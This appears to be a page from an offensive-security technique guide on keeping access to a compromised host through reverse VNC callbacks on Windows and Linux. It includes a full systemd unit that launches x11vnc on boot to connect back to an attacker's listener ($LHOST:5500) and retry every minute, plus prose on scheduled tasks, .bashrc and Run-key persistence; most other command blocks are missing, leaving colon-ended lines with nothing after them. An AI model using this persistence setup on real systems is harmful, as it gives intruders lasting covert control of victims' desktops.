VNC Persistence – Graphical Re-Entry via Reverse VNC
Installing a VNC server on a compromised host as a startup service or scheduled task gives you a persistent graphical re-entry path. On reconnection — after a reboot, session expiry, or credential rotation — the VNC server calls back to your listener and hands you a full desktop without needing to re-exploit the target.
You need admin or SYSTEM to install a service or create privileged scheduled tasks. Standard user access is enough for per-user startup persistence.
Installing TightVNC as a Service (Windows)
Download TightVNC silently and install as a service:
This installs TightVNC server as a Windows service that starts on boot and listens on port 5900. Set VALUE_OF_PASSWORD to a password of your choice.
Configuring Reverse Callback Persistence
For a reverse connection that calls back to your listener rather than waiting for inbound connections (better for NAT traversal), add a scheduled task that triggers the VNC connect-back on startup:
Start your listener on your attack box before the target reboots:
On the next reboot or when you trigger the task manually:
The target's VNC server calls back and your vncviewer receives the session.
x11vnc Persistence on Linux
On a Linux target with an active X session, install x11vnc and configure it to start on login:
Add a reverse connect call to ~/.bashrc or ~/.profile for per-user persistence:
This triggers on every new shell session for the user. For system-wide persistence on boot via systemd:
/etc/systemd/system/x11vnc.service
[Unit]
Description=VNC Persistence
After=network.target
[Service]
ExecStart=/usr/bin/x11vnc -connect $LHOST:5500 -display :0 -rfbauth /root/.vnc/passwd -once
Restart=on-failure
RestartSec=60
[Install]
WantedBy=multi-user.target
Restart=on-failure with RestartSec=60 retries every minute if the connection fails — useful for keeping the callback alive when your listener is not running.
Registry Run Key for Lightweight Windows Persistence
For a less intrusive approach without installing a service, add a Run key that calls back on user login:
This fires when the compromised user logs in. Lower privilege requirement but dependent on user login rather than system startup.
Cleanup
Remove the scheduled task:
Remove the registry key:
Uninstall the service:
References
-
TightVNC for Windowswww.tightvnc.com/doc/win/TightVNC_2.8_for_Windows_Installation_and_Getting_Started.pdf (opens in new tab)
Installation Guide Silent install parameters and service configuration options.
Was this helpful?
Your feedback helps improve this page.